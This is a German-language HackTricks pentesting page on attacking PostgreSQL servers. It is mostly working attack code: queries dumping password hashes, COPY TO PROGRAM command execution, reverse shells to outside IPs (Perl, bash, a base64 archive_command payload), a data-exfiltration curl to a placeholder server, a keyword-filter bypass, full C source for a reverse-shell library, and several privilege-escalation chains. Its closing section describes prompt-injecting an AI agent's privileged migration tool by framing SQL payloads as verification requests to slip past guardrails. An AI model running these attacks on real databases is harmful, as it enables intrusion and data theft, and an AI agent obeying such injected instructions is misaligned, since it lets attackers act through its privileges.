5432,5433 - Pentesting Postgresql
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Grundlegende Informationen
PostgreSQL wird als objekt-relationales Datenbanksystem beschrieben, das Open-Source ist. Dieses System verwendet nicht nur die SQL-Sprache, sondern erweitert sie auch um zusätzliche Funktionen. Seine Fähigkeiten ermöglichen die Verarbeitung einer breiten Palette von Datentypen und Operationen, was es zu einer vielseitigen Wahl für Entwickler und Organisationen macht.
Default port: 5432, und wenn dieser Port bereits in Verwendung ist, scheint postgresql den nächsten Port (wahrscheinlich 5433) zu verwenden, der nicht belegt ist.
PORT STATE SERVICE
5432/tcp open pgsql
Verbinden & Grundlegende Enum
psql -U <myuser> # Open psql console with user
psql -h <host> -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection
psql -h localhost -d <database_name> -U <User> #Password will be prompted
\list # List databases
\c <database> # use the database
\d # List tables
\du+ # Get users roles
# Get current user
SELECT user;
# Get current database
SELECT current_catalog;
# List schemas
SELECT schema_name,schema_owner FROM information_schema.schemata;
\dn+
#List databases
SELECT datname FROM pg_database;
#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;
# Get languages
SELECT lanname,lanacl FROM pg_language;
# Show installed extensions
SHOW rds.extensions;
SELECT * FROM pg_extension;
# Get history of commands executed
\s
Warning
Wenn du beim Ausführen von
\listeine Datenbank namensrdsadminfindest, weißt du, dass du dich in einer AWS postgresql database befindest.
Für weitere Informationen darüber, wie man eine PostgreSQL database ausnutzt, siehe:
Automatic Enumeration
msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
Brute force
Port scanning
Laut this research wirft dblink bei einem fehlgeschlagenen Verbindungsversuch eine sqlclient_unable_to_establish_sqlconnection-Exception, die eine Erklärung des Fehlers enthält. Beispiele für diese Details sind unten aufgeführt.
SELECT * FROM dblink_connect('host=1.2.3.4
port=5678
user=name
password=secret
dbname=abc
connect_timeout=10');
- Host ist nicht erreichbar
DETAIL: could not connect to server: No route to host Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
- Port ist geschlossen
DETAIL: could not connect to server: Connection refused Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
- Port ist offen
DETAIL: server closed the connection unexpectedly This probably means
the server terminated abnormally before or while processing the request
oder
DETAIL: FATAL: password authentication failed for user "name"
- Port ist offen oder gefiltert
DETAIL: could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
In PL/pgSQL-Funktionen ist es derzeit nicht möglich, Ausnahme-Details zu erhalten. Wenn Sie jedoch direkten Zugriff auf den PostgreSQL-Server haben, können Sie die benötigten Informationen abrufen. Falls das Extrahieren von Benutzernamen und Passwörtern aus den Systemtabellen nicht möglich ist, können Sie die im vorherigen Abschnitt besprochene wordlist attack-Methode in Betracht ziehen, da diese möglicherweise positive Ergebnisse liefert.
Aufzählung der Privilegien
Rollen
| Role Types | |
|---|---|
| rolsuper | Rolle hat Superuser-Privilegien |
| rolinherit | Rolle erbt automatisch die Berechtigungen der Rollen, deren Mitglied sie ist |
| rolcreaterole | Rolle kann weitere Rollen erstellen |
| rolcreatedb | Rolle kann Datenbanken erstellen |
| rolcanlogin | Rolle kann sich anmelden. Das heißt, diese Rolle kann als anfänglicher Identifikator für die Sitzungsautorisierung verwendet werden |
| rolreplication | Rolle ist eine Replikationsrolle. Eine Replikationsrolle kann Replikationsverbindungen initiieren und Replikations-Slots erstellen und löschen. |
| rolconnlimit | Für Rollen, die sich anmelden können, legt dies die maximale Anzahl gleichzeitiger Verbindungen fest, die diese Rolle herstellen kann. -1 bedeutet keine Begrenzung. |
| rolpassword | Nicht das Passwort (wird immer als ******** angezeigt) |
| rolvaliduntil | Ablaufzeit des Passworts (nur bei Passwortauthentifizierung verwendet); null, wenn kein Ablaufdatum besteht |
| rolbypassrls | Rolle umgeht jede zeilenbasierte Sicherheitsrichtlinie, siehe Section 5.8 für mehr Informationen. |
| rolconfig | Rollen-spezifische Standardwerte für Laufzeitkonfigurationsvariablen |
| oid | ID der Rolle |
Interessante Gruppen
- Wenn Sie Mitglied von
pg_execute_server_programsind, können Sie Programme ausführen - Wenn Sie Mitglied von
pg_read_server_filessind, können Sie Dateien lesen - Wenn Sie Mitglied von
pg_write_server_filessind, können Sie Dateien schreiben
Tip
Beachten Sie, dass in Postgres ein user, eine group und eine role dasselbe sind. Es hängt nur davon ab, wie Sie sie verwenden und ob Sie ihnen erlauben, sich einzuloggen.
# Get users roles
\du
#Get users roles & groups
# r.rolpassword
# r.rolconfig,
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolbypassrls,
r.rolconnlimit,
r.rolvaliduntil,
r.oid,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;
# Check if current user is superiser
## If response is "on" then true, if "off" then false
SELECT current_setting('is_superuser');
# Try to grant access to groups
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
## You will probably get this error:
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.
# Create new role (user) as member of a role (group)
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
## Common error
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.
Tabellen
# Get owners of tables
select schemaname,tablename,tableowner from pg_tables;
## Get tables where user is owner
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';
# Get your permissions over tables
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;
#Check users privileges over a table (pg_shadow on this example)
## If nothing, you don't have any permission
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';
Funktionen
# Interesting functions are inside pg_catalog
\df * #Get all
\df *pg_ls* #Get by substring
\df+ pg_read_binary_file #Check who has access
# Get all functions of a schema
\df pg_catalog.*
# Get all functions of a schema (pg_catalog in this case)
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
FROM information_schema.routines
LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
WHERE routines.specific_schema='pg_catalog'
ORDER BY routines.routine_name, parameters.ordinal_position;
# Another aparent option
SELECT * FROM pg_proc;
Dateisystem-Aktionen
Verzeichnisse und Dateien lesen
Ab diesem commit können Mitglieder der definierten DEFAULT_ROLE_READ_SERVER_FILES-Gruppe (genannt pg_read_server_files) und super users die COPY-Methode auf jedem Pfad verwenden (siehe convert_and_check_filename in genfile.c):
# Read file
CREATE TABLE demo(t text);
COPY demo from '/etc/passwd';
SELECT * FROM demo;
Warning
Beachte, dass wenn du kein super user bist, aber die CREATEROLE-Berechtigung hast, du dich selbst zum Mitglied dieser Gruppe machen kannst:
GRANT pg_read_server_files TO username;
Es gibt andere postgres-Funktionen, die verwendet werden können, um eine Datei zu lesen oder ein Verzeichnis aufzulisten. Nur Superuser und Benutzer mit expliziten Berechtigungen können sie verwenden:
# Before executing these function go to the postgres DB (not in the template1)
\c postgres
## If you don't do this, you might get "permission denied" error even if you have permission
select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd', 0, 1000000);
select * from pg_read_binary_file('/etc/passwd');
# Check who has permissions
\df+ pg_ls_dir
\df+ pg_read_file
\df+ pg_read_binary_file
# Try to grant permissions
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
# By default you can only access files in the datadirectory
SHOW data_directory;
# But if you are a member of the group pg_read_server_files
# You can access any file, anywhere
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation
Sie finden mehr Funktionen unter https://www.postgresql.org/docs/current/functions-admin.html
Einfaches Schreiben von Dateien
Nur super users und Mitglieder von pg_write_server_files können copy verwenden, um Dateien zu schreiben.
copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';
Warning
Denk dran, dass wenn du kein super user bist, aber die
CREATEROLE-Berechtigung hast, du dich selbst Mitglied dieser Gruppe machen kannst:GRANT pg_write_server_files TO username;
Denke daran, dass COPY keine Newline-Zeichen verarbeiten kann, daher selbst wenn du ein base64 payload verwendest, musst du eine Einzeilige senden.
Eine sehr wichtige Einschränkung dieser Technik ist, dass copy nicht verwendet werden kann, um Binärdateien zu schreiben, da es einige Binärwerte verändert.
Binärdateien hochladen
Es gibt jedoch andere Techniken, um große Binärdateien hochzuladen:
Big Binary Files Upload (PostgreSQL)
Aktualisieren von PostgreSQL-Tabellendaten durch lokales Dateischreiben
Wenn du die notwendigen Berechtigungen zum Lesen und Schreiben von PostgreSQL-Serverdateien hast, kannst du jede Tabelle auf dem Server aktualisieren, indem du den zugehörigen Filenode im PostgreSQL data directory überschreibst. Mehr zu dieser Technik here.
Erforderliche Schritte:
- Ermitteln des PostgreSQL-Datenverzeichnisses
SELECT setting FROM pg_settings WHERE name = 'data_directory';
Hinweis: Falls du den aktuellen Pfad des Datenverzeichnisses nicht über die Einstellungen abrufen kannst, kannst du die Hauptversion von PostgreSQL über die Abfrage SELECT version() ermitteln und versuchen, den Pfad zu erraten. Übliche Datenverzeichnis-Pfade auf Unix-Installationen von PostgreSQL sind /var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/. Ein häufiger Cluster-Name ist main.
- Ermitteln eines relativen Pfads zur Filenode, die mit der Ziel-Tabelle verknüpft ist
SELECT pg_relation_filepath('{TABLE_NAME}')
Diese Abfrage sollte etwas wie base/3/1337 zurückgeben. Der vollständige Pfad auf der Festplatte ist $DATA_DIRECTORY/base/3/1337, z. B. /var/lib/postgresql/13/main/base/3/1337.
- Lade die Filenode über die
lo_*-Funktionen herunter
SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)
- Ermitteln des Datentyps, der der Ziel-Tabelle zugeordnet ist
SELECT
STRING_AGG(
CONCAT_WS(
',',
attname,
typname,
attlen,
attalign
),
';'
)
FROM pg_attribute
JOIN pg_type
ON pg_attribute.atttypid = pg_type.oid
JOIN pg_class
ON pg_attribute.attrelid = pg_class.oid
WHERE pg_class.relname = '{TABLE_NAME}';
- Verwende den PostgreSQL Filenode Editor, um die Filenode zu bearbeiten; setze alle
rol*-Boolean-Flags auf 1 für volle Berechtigungen.
python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}

- Lade die bearbeitete Filenode wieder über die
lo_*-Funktionen hoch und überschreibe die Originaldatei auf der Festplatte
SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')
- (Optional) Leere den In-Memory-Tabellencache, indem du eine aufwändige SQL-Abfrage ausführst
SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
- Du solltest jetzt aktualisierte Tabellenwerte in PostgreSQL sehen.
Du kannst auch Superadmin werden, indem du die Tabelle pg_authid bearbeitest. See the following section.
RCE
RCE to program
Seit version 9.3, können nur super users und Mitglieder der Gruppe pg_execute_server_program copy für RCE verwenden (Beispiel mit Exfiltration:
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
Beispiel zum Ausführen:
#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;
#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
Warning
Denke daran, dass, wenn du kein Superuser bist, aber die
CREATEROLE-Berechtigung besitzt, du dich selbst Mitglied dieser Gruppe machen kannst:GRANT pg_execute_server_program TO username;
Oder verwende das multi/postgres/postgres_copy_from_program_cmd_exec Modul von metasploit.
Mehr Informationen über diese Schwachstelle here. Obwohl als CVE-2019-9193 gemeldet, erklärte Postges, dass dies ein feature and will not be fixed.
Umgehen von Keyword-Filtern/WAF, um COPY PROGRAM zu erreichen
In SQLi-Kontexten mit stacked queries kann eine WAF das literal keyword COPY entfernen oder blockieren. Du kannst die Anweisung dynamisch zusammenbauen und sie innerhalb eines PL/pgSQL DO-Blocks ausführen. Zum Beispiel baue das führende C mit CHR(67) um naive Filter zu umgehen und EXECUTE den zusammengesetzten Befehl:
DO $$
DECLARE cmd text;
BEGIN
cmd := CHR(67) || 'OPY (SELECT '''') TO PROGRAM ''bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"''';
EXECUTE cmd;
END $$;
Dieses Muster umgeht statische Keyword-Filter und erreicht dennoch OS-Befehlsausführung über COPY ... PROGRAM. Es ist besonders nützlich, wenn die Anwendung SQL-Fehler zurückgibt und stacked queries erlaubt.
RCE mit PostgreSQL-Sprachen
RCE mit PostgreSQL-Erweiterungen
Sobald Sie im vorherigen Beitrag gelernt haben, wie man Binärdateien hochlädt, können Sie versuchen, RCE zu erreichen, indem Sie eine PostgreSQL-Erweiterung hochladen und laden.
RCE with PostgreSQL Extensions
RCE über die PostgreSQL-Konfigurationsdatei
Tip
Die folgenden RCE-Vektoren sind besonders nützlich in eingeschränkten SQLi-Kontexten, da alle Schritte per verschachtelter SELECT-Anweisungen ausgeführt werden können
Die PostgreSQL-Konfigurationsdatei ist vom postgres user beschreibbar — der Benutzer, der die Datenbank betreibt — so dass man als Superuser Dateien im Dateisystem schreiben und damit diese Datei überschreiben kann.
.png)
RCE mit ssl_passphrase_command
Mehr Informationen zu dieser Technik hier.
Die Konfigurationsdatei hat einige interessante Attribute, die zu RCE führen können:
ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'Pfad zum privaten Schlüssel der Datenbankssl_passphrase_command = ''Wenn die private Datei durch ein Passwort (verschlüsselt) geschützt ist, wird postgresql den in diesem Attribut angegebenen Befehl ausführen.ssl_passphrase_command_supports_reload = offWenn dieses Attribut an ist, wird der Befehl, der ausgeführt wird, falls der Schlüssel durch ein Passwort geschützt ist, beim Aufruf vonpg_reload_conf()ausgeführt.
Dann muss ein Angreifer:
- Privaten Schlüssel dumpen vom Server
- Heruntergeladenen privaten Schlüssel verschlüsseln:
rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key- Überschreiben
- Aktuelle postgresql-Konfiguration auslesen
- Die Konfiguration mit den genannten Attributen überschreiben:
ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'ssl_passphrase_command_supports_reload = onpg_reload_conf()ausführen
Bei Tests fiel mir auf, dass dies nur funktioniert, wenn die private Schlüsseldatei die Berechtigungen 640 hat, root gehört und der Gruppe ssl-cert oder postgres angehört (sodass der postgres user sie lesen kann) und sich in /var/lib/postgresql/12/main befindet.
RCE mit archive_command
Mehr Informationen zu dieser Konfiguration und zu WAL hier.
Ein weiteres ausnutzbares Attribut in der Konfigurationsdatei ist archive_command.
Damit das funktioniert, muss die Einstellung archive_mode auf 'on' oder 'always' stehen. Ist das der Fall, können wir den Befehl in archive_command überschreiben und über WAL (Write-Ahead Logging)-Operationen zur Ausführung zwingen.
Die allgemeinen Schritte sind:
- Prüfen, ob archive mode aktiviert ist:
SELECT current_setting('archive_mode') archive_commandmit dem Payload überschreiben. Zum Beispiel eine Reverse-Shell:archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'- Konfiguration neu laden:
SELECT pg_reload_conf() - Zwinge die WAL-Operation zur Ausführung, die das archive command aufruft:
SELECT pg_switch_wal()oderSELECT pg_switch_xlog()bei einigen Postgres-Versionen
Bearbeiten von postgresql.conf via Large Objects (SQLi-friendly)
Wenn mehrzeilige Schreibvorgänge erforderlich sind (z. B. um mehrere GUCs zu setzen), verwenden Sie PostgreSQL Large Objects, um die Konfiguration vollständig per SQL zu lesen und zu überschreiben. Dieser Ansatz ist ideal in SQLi-Kontexten, in denen COPY keine Newlines oder binärsichere Schreibvorgänge verarbeiten kann.
Beispiel (passen Sie die Major-Version und den Pfad bei Bedarf an, z. B. Version 15 auf Debian):
-- 1) Import the current configuration and note the returned OID (example OID: 114575)
SELECT lo_import('/etc/postgresql/15/main/postgresql.conf');
-- 2) Read it back as text to verify
SELECT encode(lo_get(114575), 'escape');
-- 3) Prepare a minimal config snippet locally that forces execution via WAL
-- and base64-encode its contents, for example:
-- archive_mode = 'always'\n
-- archive_command = 'bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"'\n
-- archive_timeout = 1\n
-- Then write the new contents into a new Large Object and export it over the original file
SELECT lo_from_bytea(223, decode('<BASE64_POSTGRESQL_CONF>', 'base64'));
SELECT lo_export(223, '/etc/postgresql/15/main/postgresql.conf');
-- 4) Reload the configuration and optionally trigger a WAL switch
SELECT pg_reload_conf();
-- Optional explicit trigger if needed
SELECT pg_switch_wal(); -- or pg_switch_xlog() on older versions
Dies ermöglicht zuverlässige OS-Befehlsausführung über archive_command als Benutzer postgres, vorausgesetzt archive_mode ist aktiviert. In der Praxis kann das Setzen eines niedrigen archive_timeout eine schnelle Ausführung bewirken, ohne einen expliziten WAL-Switch zu benötigen.
RCE with preload libraries
More information about this technique here.
Dieser Angriffsvektor nutzt die folgenden Konfigurationsvariablen:
session_preload_libraries– Bibliotheken, die vom PostgreSQL-Server bei der Client-Verbindung geladen werden.dynamic_library_path– Liste von Verzeichnissen, in denen der PostgreSQL-Server nach Bibliotheken sucht.
Wir können den Wert von dynamic_library_path auf ein Verzeichnis setzen, das vom postgres-Benutzer, der die Datenbank betreibt, beschreibbar ist, z. B. das Verzeichnis /tmp/, und dort ein bösartiges .so-Objekt hochladen. Anschließend zwingen wir den PostgreSQL-Server, unsere neu hochgeladene Bibliothek zu laden, indem wir sie in die Variable session_preload_libraries aufnehmen.
Die Angriffsschritte sind:
- Lade die originale
postgresql.confherunter - Füge das Verzeichnis
/tmp/in den Wert vondynamic_library_pathein, z. B.dynamic_library_path = '/tmp:$libdir' - Füge den Namen der bösartigen Bibliothek in den Wert von
session_preload_librariesein, z. B.session_preload_libraries = 'payload.so' - Prüfe die Hauptversion von PostgreSQL mittels der Abfrage
SELECT version() - Kompiliere den bösartigen Bibliothekscode mit dem passenden PostgreSQL-Dev-Paket. Beispielcode:
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "postgres.h"
#include "fmgr.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
void _init() {
/*
code taken from https://www.revshells.com/
*/
int port = REVSHELL_PORT;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"/bin/bash", NULL};
execve("/bin/bash", argv, NULL);
}
Kompilieren des Codes:
gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c
- Lade die bösartige
postgresql.conf, erstellt in den Schritten 2–3, hoch und überschreibe die Originaldatei - Lade das
payload.soaus Schritt 5 in das Verzeichnis/tmphoch - Lade die Serverkonfiguration neu, indem du den Server neu startest oder die Abfrage
SELECT pg_reload_conf()ausführst - Bei der nächsten DB-Verbindung erhältst du die Reverse-Shell-Verbindung.
Postgres Privesc
CREATEROLE Privesc
Grant
According to the docs: Rollen, die das Privileg CREATEROLE besitzen, können die Mitgliedschaft in jeder Rolle gewähren oder entziehen, die kein superuser ist.
Also, if you have CREATEROLE permission you could grant yourself access to other roles (that aren’t superuser) that can give you the option to read & write files and execute commands:
# Access to execute commands
GRANT pg_execute_server_program TO username;
# Access to read files
GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;
Modify Password
Benutzer mit dieser Rolle können außerdem die passwords anderer non-superusers ändern:
#Change password
ALTER USER user_name WITH PASSWORD 'new_password';
Privesc to SUPERUSER
Es ist ziemlich häufig, dass lokale Benutzer sich in PostgreSQL einloggen können, ohne ein Passwort anzugeben. Daher können Sie, sobald Sie Berechtigungen zum Ausführen von Code erlangt haben, diese Berechtigungen missbrauchen, um sich die Rolle SUPERUSER zu gewähren:
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
Tip
Dies ist normalerweise möglich wegen der folgenden Zeilen in der
pg_hba.conf-Datei:# "local" is for Unix domain socket connections only local all all trust # IPv4 local connections: host all all 127.0.0.1/32 trust # IPv6 local connections: host all all ::1/128 trust
ALTER TABLE privesc
In this writeup wird erklärt, wie es möglich war, in Postgres GCP ein privesc durch Ausnutzung des ALTER TABLE-Privilegs durchzuführen, das dem Benutzer gewährt wurde.
Wenn man versucht, einen anderen Benutzer zum Eigentümer einer Tabelle zu machen, sollte ein Fehler dies verhindern, aber anscheinend hat GCP diese Option dem not-superuser postgres user in GCP gegeben:
.png)
Verbindet man diese Idee mit der Tatsache, dass bei Ausführung der INSERT/UPDATE/ANALYZE Befehle auf einer Tabelle mit einer Indexfunktion die Funktion als Teil des Befehls mit den Berechtigungen des Tabellenbesitzers aufgerufen wird, ergibt sich folgender Weg: Es ist möglich, einen Index mit einer Funktion zu erstellen, dem super user die Besitzrechte an dieser Tabelle zu geben und dann ANALYZE auf der Tabelle mit der bösartigen Funktion auszuführen. Diese Funktion kann Befehle ausführen, weil sie die Privilegien des Eigentümers nutzt.
GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
save_sec_context | SECURITY_RESTRICTED_OPERATION);
Exploitation
- Beginnen Sie damit, eine neue Tabelle zu erstellen.
- Fügen Sie einige irrelevante Inhalte in die Tabelle ein, um Daten für die index function bereitzustellen.
- Entwickeln Sie eine bösartige index function, die eine code execution payload enthält und so die Ausführung unautorisierter Befehle ermöglicht.
- Ändern Sie mit ALTER den Besitzer der Tabelle auf “cloudsqladmin”, welche die GCP Superuser-Rolle ist, die ausschließlich von Cloud SQL verwendet wird, um die Datenbank zu verwalten und zu warten.
- Führen Sie eine ANALYZE-Operation auf der Tabelle durch. Diese Aktion zwingt die PostgreSQL-Engine dazu, in den Benutzerkontext des Tabelleneigentümers “cloudsqladmin” zu wechseln. Folglich wird die bösartige index function mit den Rechten von “cloudsqladmin” aufgerufen und ermöglicht so die Ausführung des zuvor nicht autorisierten shell command.
In PostgreSQL sieht dieser Ablauf ungefähr so aus:
CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);
INSERT INTO temp_table VALUES ('dummy content');
/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';
CREATE INDEX index_malicious ON public.temp_table (suid_function(data));
ALTER TABLE temp_table OWNER TO cloudsqladmin;
/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';
ANALYZE public.temp_table;
Dann enthält die Tabelle shell_commands_results die Ausgabe des ausgeführten Codes:
uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)
Lokaler Login
Einige fehlkonfigurierte postgresql-Instanzen könnten die Anmeldung beliebiger lokaler Benutzer erlauben; es ist möglich, sich von 127.0.0.1 aus über die dblink-Funktion anzumelden:
\du * # Get Users
\l # Get databases
SELECT * FROM dblink('host=127.0.0.1
port=5432
user=someuser
password=supersecret
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);
Warning
Beachte, dass für die vorherige Abfrage die Funktion
dblinkexistieren muss. Falls sie nicht existiert, kannst du versuchen, sie mitCREATE EXTENSION dblink;zu erstellen.
Wenn du das Passwort eines Benutzers mit höheren Rechten hast, dieser Benutzer sich aber nicht von einer externen IP-Adresse anmelden darf, kannst du die folgende Funktion verwenden, um Abfragen als dieser Benutzer auszuführen:
SELECT * FROM dblink('host=127.0.0.1
user=someuser
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);
Man kann prüfen, ob diese Funktion existiert mit:
SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
Benutzerdefinierte Funktion mit SECURITY DEFINER
In this writeup, pentesters were able to privesc inside a postgres instance provided by IBM, because they found this function with the SECURITY DEFINER flag:
CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
LANGUAGE 'plpgsql'
VOLATILE SECURITY DEFINER
PARALLEL UNSAFE
COST 100
AS $BODY$
DECLARE
persist_dblink_extension boolean;
BEGIN
persist_dblink_extension := create_dblink_extension();
PERFORM dblink_connect(format('dbname=%s', db_name));
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
PERFORM dblink_disconnect();
…
As explained in the docs a function with SECURITY DEFINER is executed with the privileges of the user that owns it. Therefore, if the function is vulnerable to SQL Injection or is doing some privileged actions with params controlled by the attacker, it could be abused to escalate privileges inside postgres.
In der Zeile 4 des vorherigen Codes sieht man, dass die Funktion das SECURITY DEFINER-Flag hat.
CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
And then execute commands:
.png)
Passwort-Bruteforce mit PL/pgSQL
PL/pgSQL ist eine voll ausgestattete Programmiersprache, die im Vergleich zu SQL mehr prozedurale Kontrolle bietet. Sie ermöglicht die Verwendung von Schleifen und anderen Kontrollstrukturen, um die Programmlogik zu erweitern. Zusätzlich können SQL-Anweisungen und Triggers Funktionen aufrufen, die mit der PL/pgSQL language erstellt wurden. Diese Integration erlaubt einen umfassenderen und vielseitigeren Ansatz für Datenbankprogrammierung und -automatisierung.
Du kannst diese Sprache missbrauchen, um PostgreSQL dazu zu bringen, die Benutzeranmeldedaten per brute-force zu überprüfen.
Privesc by Overwriting Internal PostgreSQL Tables
Tip
Der folgende privesc-Vektor ist besonders nützlich in eingeschränkten SQLi-Kontexten, da alle Schritte durch verschachtelte SELECT-Anweisungen ausgeführt werden können
Wenn du PostgreSQL-Serverdateien lesen und schreiben kannst, kannst du superuser werden, indem du das PostgreSQL On-Disk-Filenode überschreibst, das mit der internen pg_authid-Tabelle verknüpft ist.
Lies mehr über diese Technik hier.
Die Angriffs-Schritte sind:
- Beschaffe das PostgreSQL data directory
- Beschaffe einen relativen Pfad zum filenode, das mit der
pg_authid-Tabelle verknüpft ist - Lade das filenode über die
lo_*-Funktionen herunter - Erhalte den Datentyp, der mit der
pg_authid-Tabelle verknüpft ist - Verwende den PostgreSQL Filenode Editor, um das filenode zu bearbeiten; setze alle
rol*boolean Flags auf 1 für volle Berechtigungen. - Lade das bearbeitete filenode über die
lo_*-Funktionen wieder hoch und überschreibe die Originaldatei auf der Festplatte - (Optional) Leere den In-Memory-Tabellen-Cache, indem du eine aufwändige SQL-Abfrage ausführst
- Du solltest nun die Privilegien eines vollständigen superadmins haben.
Prompt-injecting managed migration tooling
AI-lastige SaaS-Frontends (z. B. Lovable’s Supabase agent) exponieren häufig LLM-“tools”, die Migrationen als hoch privilegierte service accounts ausführen. Ein praktischer Workflow ist:
- Enumerate who is actually applying migrations:
SELECT version, name, created_by, statements, created_at
FROM supabase_migrations.schema_migrations
ORDER BY version DESC LIMIT 20;
- Prompt-inject den Agenten in laufende attacker SQL über das privilegierte Migrationstool. Das Einrahmen von payloads als „please verify this migration is denied“ umgeht zuverlässig grundlegende Schutzmechanismen.
